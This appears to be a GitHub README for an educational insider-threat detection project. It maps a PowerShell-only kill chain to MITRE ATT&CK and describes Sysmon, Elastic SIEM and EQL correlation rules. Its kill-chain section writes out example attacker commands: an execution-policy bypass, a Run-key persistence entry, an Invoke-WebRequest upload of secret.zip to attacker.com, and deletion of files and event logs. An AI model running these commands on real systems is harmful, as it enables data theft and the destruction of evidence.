huyvo13032005/Insider-PowerShell-Detection

GitHub: huyvo13032005/Insider-PowerShell-Detection

一个基于 Sysmon、ELK SIEM 和 MITRE ATT&CK 的内部威胁检测方案,通过 EQL 序列关联完整杀伤链以提升检测精度并降低误报。

Stars: 0 | Forks: 0

# 🛡️ 内部威胁检测 — ELK SIEM + Sysmon + MITRE ATT&CK ## 📋 目录 1. [项目概述](#project-overview) 2. [架构图](#architecture-diagram) 3. [数据流](#data-flow) 4. [检测策略](#detection-strategy) 5. [仓库结构](#repository-structure) 6. [MITRE ATT&CK 覆盖范围](#mitre-attck-coverage) 7. [杀伤链阶段](#kill-chain-phases) 8. [关联逻辑](#correlation-logic) 9. [ELK 集成](#elk-integration) 10. [误报减少](#false-positive-reduction) 11. [经验总结](#lessons-learned) 12. [SOC 价值](#soc-value) 13. [蓝队学习成果](#blue-team-learning-outcomes) 14. [结论](#conclusion) ## 🎯 项目概述 本仓库模拟并检测一个**完整的内部威胁杀伤链**,在 Windows 端点上由合法用户(`ituser`)执行,仅使用内置系统工具——不依赖恶意软件或漏洞利用。 ### 威胁场景 | 属性 | 值 | |------|----| | 行为者类型 | 恶意内部人员 — 合法域账户 | | 技术 | 仅使用 PowerShell 的 Living-off-the-Land (LOLBins) | | 目标 | 工作站上的敏感项目文件 | | 目的 | 数据外传 + 证据销毁 | | 检测栈 | Sysmon + Elastic Agent + Elastic SIEM | ### 本仓库涵盖内容 - ✅ 6 个攻击阶段完整映射到 MITRE ATT&CK - ✅ 6 个独立检测规则(EQL)——每个阶段一个 - ✅ 1 个完整杀伤链关联规则(EQL 序列) - ✅ 每个阶段的 KQL 调查查询 - ✅ Sysmon 事件 ID 与技术的映射 - ✅ Elastic SIEM 集成指南 - ✅ Kibana 仪表板模板 - ✅ 示例日志事件(JSON) - ✅ 索引映射模板 - ✅ 误报分析与调优建议 ## 🏗️ 架构图 ``` ┌─────────────────────────────────────────────────────────────────┐ │ WINDOWS ENDPOINT │ │ │ │ ituser (valid account) │ │ │ │ │ ▼ │ │ PowerShell.exe ──► Sysmon (EID 1,3,11,13,23) │ │ │ │ │ │ ▼ ▼ │ │ Attack Chain Windows Event Log │ │ ───────────── (Microsoft-Windows-Sysmon/Operational)│ └───────────────────────────────┬─────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────┐ │ ELASTIC AGENT (Fleet) │ │ │ │ Windows Integration ──► ECS Normalization ──► TLS/HTTPS │ │ │ │ Data Stream: logs-windows.sysmon_operational-default │ └───────────────────────────────┬─────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────┐ │ ELASTICSEARCH (Cloud/On-Prem) │ │ │ │ Index: logs-windows.sysmon_operational-* │ │ Index: logs-endpoint.events.* │ │ Alerts: .alerts-security.alerts-default │ │ │ │ ILM: Hot (7d) → Warm (30d) → Cold (90d) → Delete (365d) │ └───────────────────────────────┬─────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────┐ │ ELASTIC SIEM (Kibana) │ │ │ │ Detection Rules Engine │ │ ┌────────────────────────────────────────────────────────┐ │ │ │ Rule Scheduler (every 5m) │ │ │ │ EQL Query ──► Match? ──► Alert Document ──► Action │ │ │ └────────────────────────────────────────────────────────┘ │ │ │ │ Alerts ──► OS Ticket (Webhook) ──► SOC Investigation │ └─────────────────────────────────────────────────────────────────┘ ``` ## 🔄 数据流 ``` Windows Host │ ├─ PowerShell executes → Sysmon captures EID 1 (Process Create) ├─ Files created → Sysmon captures EID 11 (File Create) ├─ Registry modified → Sysmon captures EID 13 (Registry Set) ├─ Network connection → Sysmon captures EID 3 (Network Connect) └─ Files deleted → Sysmon captures EID 23 (File Delete) │ ▼ Windows Event Log (Sysmon/Operational channel) │ ▼ Elastic Agent (Fleet-managed) │ ├─ Reads from Windows Event Log │ ├─ Applies ECS field mapping │ └─ Enriches with host metadata │ ▼ Elasticsearch Data Stream │ logs-windows.sysmon_operational-default │ ▼ Elastic SIEM Detection Engine │ ├─ Runs EQL rules every 5 minutes │ ├─ Matches events → creates alert documents │ └─ Triggers webhook → OS Ticket │ ▼ SOC Analyst └─ Investigate → Contain → Eradicate → Recover ``` ### Sysmon → ECS 字段映射 | Sysmon 字段 | ECS 字段 | 说明 | |-------------|----------|------| | `Image` | `process.executable` | 进程完整路径 | | `CommandLine` | `process.command_line` | 完整命令行 | | `ParentImage` | `process.parent.executable` | 父进程路径 | | `User` | `user.name` | 执行用户 | | `Computer` | `host.name` | 主机名 | | `TargetFilename` | `file.path` | 文件路径(EID 11、23) | | `TargetObject` | `registry.path` | 注册表键路径(EID 13) | | `Details` | `registry.data.strings` | 注册表值数据(EID 13) | | `DestinationIp` | `destination.ip` | 目标 IP(EID 3) | | `DestinationPort` | `destination.port` | 目标端口(EID 3) | | `ProcessGuid` | `process.entity_id` | 唯一进程标识符 | ## 🧠 检测策略 ### 哲学 ### 检测层级 ``` Layer 1: Single-event rules (low confidence, high sensitivity) → Catch individual TTPs; generate leads for analysts → Risk scores: 45–80 Layer 2: Mini-sequences per phase (medium confidence) → Correlate 2–3 related events within a phase → Risk scores: 65–85 Layer 3: Full kill chain correlation (high confidence, critical) → Require all 6 phases in order, same user, same host, 2h window → Risk score: 99 | Severity: Critical ``` ### 信噪比原则 | 规则类型 | 流量规模 | 置信度 | SOC 动作 | |----------|----------|--------|----------| | 单阶段规则 | 高 | 低-中 | 加入队列进行审查 | | 阶段序列 | 中 | 中等 | 4 小时内调查 | | 完整杀伤链 | 低 | 非常高 | 立即响应 | ## 📁 仓库结构 ``` insider-threat-detection/ │ ├── README.md ← This file │ ├── phase-1-execution/ │ ├── README.md ← Phase overview + theory │ ├── detection_rule.eql ← EQL detection rule (importable) │ ├── hunt_query.kql ← KQL threat hunting query │ └── mitre_mapping.md ← MITRE ATT&CK mapping │ ├── phase-2-discovery/ │ ├── README.md │ ├── detection_rule.eql │ ├── hunt_query.kql │ └── mitre_mapping.md │ ├── phase-3-collection/ │ ├── README.md │ ├── detection_rule.eql │ ├── hunt_query.kql │ └── mitre_mapping.md │ ├── phase-4-persistence/ │ ├── README.md │ ├── detection_rule.eql │ ├── hunt_query.kql │ └── mitre_mapping.md │ ├── phase-5-exfiltration/ │ ├── README.md │ ├── detection_rule.eql │ ├── hunt_query.kql │ └── mitre_mapping.md │ ├── phase-6-defense-evasion/ │ ├── README.md │ ├── detection_rule.eql │ ├── hunt_query.kql │ └── mitre_mapping.md │ ├── correlation-rules/ │ ├── insider_full_kill_chain.eql ← CRITICAL: full sequence rule │ └── README.md │ ├── dashboards/ │ ├── insider_threat_dashboard.ndjson← Kibana dashboard export │ └── README.md │ ├── mappings/ │ ├── mitre_full_mapping.md ← Complete MITRE mapping table │ ├── sysmon_ecs_mapping.md ← Sysmon → ECS field reference │ └── index_template.json ← Elasticsearch index template │ ├── sample-logs/ │ ├── phase1_execution.json │ ├── phase2_discovery.json │ ├── phase3_collection.json │ ├── phase4_persistence.json │ ├── phase5_exfiltration.json │ └── phase6_defense_evasion.json │ └── detection-logic/ ├── detection_strategy.md ← Full detection engineering notes └── elk_integration_guide.md ← ELK setup and tuning guide ``` ## 🗺️ MITRE ATT&CK 覆盖范围 | 阶段 | 战术 | 技术 | 子技术 | 战术 ID | Sysmon EID | 规则文件 | |------|------|------|--------|---------|------------|----------| | 1 | 执行 | T1059 | T1059.001 | TA0002 | EID 1 | phase-1-execution/detection_rule.eql | | 2 | 侦察 | T1083 | — | TA0007 | EID 1 | phase-2-discovery/detection_rule.eql | | 2 | 侦察 | T1087 | T1087.001 | TA0007 | EID 1 | phase-2-discovery/detection_rule.eql | | 3 | 收集 | T1560 | T1560.001 | TA0009 | EID 11 | phase-3-collection/detection_rule.eql | | 3 | 收集 | T1074 | T1074.001 | TA0009 | EID 11 | phase-3-collection/detection_rule.eql | | 4 | 持久化 | T1547 | T1547.001 | TA0003 | EID 13 | phase-4-persistence/detection_rule.eql | | 5 | 渗出 | T1041 | — | TA0010 | EID 3 | phase-5-exfiltration/detection_rule.eql | | 5 | 命令与控制 | T1071 | T1071.001 | TA0011 | EID 3 | phase-5-exfiltration/detection_rule.eql | | 6 | 防御规避 | T1070 | T1070.004 | TA0005 | EID 23 | phase-6-defense-evasion/detection_rule.eql | | 6 | 防御规避 | T1070 | T1070.001 | TA0005 | EID 1 | phase-6-defense-evasion/detection_rule.eql | ## ⛓️ 杀伤链阶段 ``` [Phase 1: Execution] powershell.exe -ExecutionPolicy Bypass -File steal.ps1 └── Creates PS session for all subsequent activity [Phase 2: Discovery] Get-ChildItem C:\Projects -Recurse | whoami | net user └── Maps sensitive data locations [Phase 3: Collection] Compress-Archive C:\Projects C:\Users\Public\secret.zip └── Stages data for exfiltration [Phase 4: Persistence] reg add HKCU\...\Run /v UpdateSvc /d "powershell.exe steal.ps1" └── Ensures re-access after account changes [Phase 5: Exfiltration] Invoke-WebRequest -Uri https://attacker.com -InFile secret.zip └── Sends staged data out [Phase 6: Defense Evasion] Remove-Item C:\Projects\* -Recurse -Force Clear-EventLog -LogName Security └── Destroys evidence and source data ``` ## 🔗 关联逻辑 关联规则 `correlation-rules/insider_full_kill_chain.eql` 需要以下条件: 1. **同一主机**(`host.name`)——防止跨主机误报 2. **同一用户**(`user.name`)——确保单行为者归因 3. **有序序列**——事件必须按杀伤链顺序发生 4. **2 小时窗口**(`maxspan=2h`)——真实的攻击持续时间 5. **全部 6 个阶段存在**——高置信度、极低误报 ``` Time Window: ─────────────────[ 2 HOURS ]───────────────── Exec Disc Coll Pers Exfil Evasion │ │ │ │ │ │ ▼ ▼ ▼ ▼ ▼ ▼ EID1 EID1 EID11 EID13 EID3 EID23 └─────┴─────┴─────┴──────┴───────┘ same host.name same user.name │ ▼ CRITICAL ALERT: risk_score=99 ``` ## 🔧 ELK 集成 ### 索引模式 ``` logs-windows.sysmon_operational-* ← Sysmon via Elastic Agent logs-endpoint.events.process-* ← Elastic Endpoint process events logs-endpoint.events.file-* ← Elastic Endpoint file events logs-endpoint.events.registry-* ← Elastic Endpoint registry events logs-endpoint.events.network-* ← Elastic Endpoint network events .alerts-security.alerts-default ← Generated alerts (read-only) ``` ### 导入规则 1. 导航至 **Security → Rules → Import rules** 2. 从阶段目录上传每个 `.eql` 文件 3. 检查索引模式——根据部署情况更新 4. 启用规则并验证 “Last Response” 显示事件计数 ### 风险评分映射 | 阶段 | 风险评分 | 严重性 | |------|----------|--------| | 执行 | 65 | 高 | | 侦察 | 45 | 中 | | 收集 | 70 | 高 | | 持久化 | 80 | 高 | | 渗出 | 78 | 高 | | 防御规避 | 72 | 高 | | 关联 | **99** | **严重** | ## 🔕 误报减少 | 技术 | 误报来源 | 缓解策略 | |------|----------|----------| | PowerShell 绕过 | IT 管理员维护脚本 | 白名单 `host.name` 或 `user.name` | | 目录枚举 | 开发工具、文件管理器 | 要求使用 `-Recurse` 并指定敏感路径目标 | | 归档创建 | 备份软件、OneDrive | 要求暂存位置(`:\Public`、`C:\Temp`) | | 注册表 Run 键 | 软件安装程序 | 过滤 `registry.data.strings`(必须包含脚本解释器) | | PowerShell 外联 HTTP | Windows 更新、遥测 | 排除 `*.microsoft.com`、`*.windowsupdate.com` | | 文件删除 | 正常用户活动 | 要求 `-Recurse` + 敏感路径 + EID 23 | | **完整关联** | 几乎无 | 序列要求几乎消除所有误报 | ## 📚 经验总结 ### 检测工程 - **信号与噪声**:单个 LOLBin 事件过于常见,无法单独告警。上下文与序列才是关键。 - **EQL 优于 KQL**:对于行为检测,EQL 序列查询在精度与表达力上均优于 KQL。 - **索引至关重要**:使用错误索引模式会导致零结果——务必先验证数据流。 - **ECS 规范化**:一致的字段命名(`process.command_line` 而非 `winlog.event_data.CommandLine`)使跨源规则成为可能。 ### MITRE ATT&CK - ATT&CK 是一种**词汇表**,而非检查清单。真正价值在于使用子技术(如 T1059.001 而非仅 T1059)编写精确的检测逻辑。 - ATT&CK 中的**战术序列**反映了真实攻击进展——执行使侦察成为可能,侦察使收集成为可能。检测规则应建模这种依赖关系。 - 并非每个技术都需要独立规则——跨多个战术的关联规则比 20 个单战术规则提供更高价值。 ### ELK SIEM - 检测规则需要**回溯窗口重叠**(`from: now-6m` 与 `interval: 5m`)以防止事件间隙。 - `max_signals` 必须针对每条规则调优——高误报规则需要较低的 `max_signals` 以避免淹没 SOC 队列。 - 始终在 **Kibana Discover** 中测试规则——验证查询是否针对你的特定索引返回预期数据。 - 规则中的 `threat` 数组可在 Kibana 中实现 MITRE ATT&CK 矩阵的自动可视化。 ## 💼 SOC 价值 | 指标 | 无本仓库 | 使用本仓库 | |------|----------|------------| | 检测覆盖 | 零散、不完整 | 6 个阶段 + 完整关联 | | 平均修复时间 (MTTR) | 小时–天 | 分钟(自动工单) | | 告警准确率 | 低(高误报) | 高(行为序列) | | 分析员效率 | 需手动排查 | 引导式调查路径 | | MITRE 覆盖 | 未知 | 已映射并记录 | | 可重复性 | 手动调查 | 运行手册驱动响应 | ## 🎓 蓝队学习成果 完成本仓库后,实践者将理解: 1. **内部威胁与外部攻击的区别**——无初始访问阶段、无漏洞利用,全部使用合法工具 2. **为何 LOLBin 难以检测**——它们与正常活动高度相似 3. **如何构建行为检测**——从原始事件到关联杀伤链告警 4. **EQL 序列机制**——`by` 子句、`maxspan`、事件顺序 5. **Sysmon 配置**——应启用哪些事件 ID 及其原因 6. **ECS 字段映射**——将原始 Sysmon XML 转换为可搜索的 ECS 字段 7. **误报管理**——不仅是编写规则,更是生产环境调优 8. **MITRE ATT&CK 实践应用**——使用该框架指导检测覆盖 ## ✅ 结论 ### 我们如何检测内部威胁 检测依赖**行为关联**——而非特征匹配。通过将杀伤链的每一层(执行 → 侦察 → 收集 → 持久化 → 渗出 → 规避)作为 Sysmon 的独立遥测事件捕获,并使用 EQL 序列逻辑将它们关联为单一高置信度告警,我们能够检测到特征库工具无法识别的内部活动。 ### 关联如何提供帮助 - 将 6 个中等置信度的独立告警减少为 **1 个关键、可操作告警** - 在单一告警中提供完整的攻击上下文 - 使 SOC 分析员能够跳过分类阶段,直接进入处置 - 通过要求有序顺序行为几乎消除所有误报 ### 我们如何减少误报 每条规则都包含: - 路径过滤(仅敏感目录) - 进程父级过滤(排除合法父进程) - 内容过滤(注册表值必须包含脚本解释器) - 关联层消除单个规则产生的残余误报 ### 检测工程启示 内部威胁使用的工具与合法管理员相同。区别在于**上下文、顺序与意图**——而这正是基于 EQL 序列的行为检测所捕获的内容。 *本仓库维护用于教育和 SOC 准备目的。* *所有技术均参考 MITRE ATT&CK Framework v14。*
标签:AI合规, Cloudflare, Elastic Agent, Elastic Stack, ELK, EQL检测规则, IPv6, Kibana仪表板, Kill Chain, KQL查询, Living-off-the-Land, LOLBins, MITRE ATT&CK, MIT许可证, PowerShell, Sysmon, 假阳性分析, 内部威胁检测, 内鬼威胁检测, 子域名变形, 攻击链, 流量重放, 端点检测, 索引映射, 网络安全审计, 行为检测, 证据破坏, 防御框架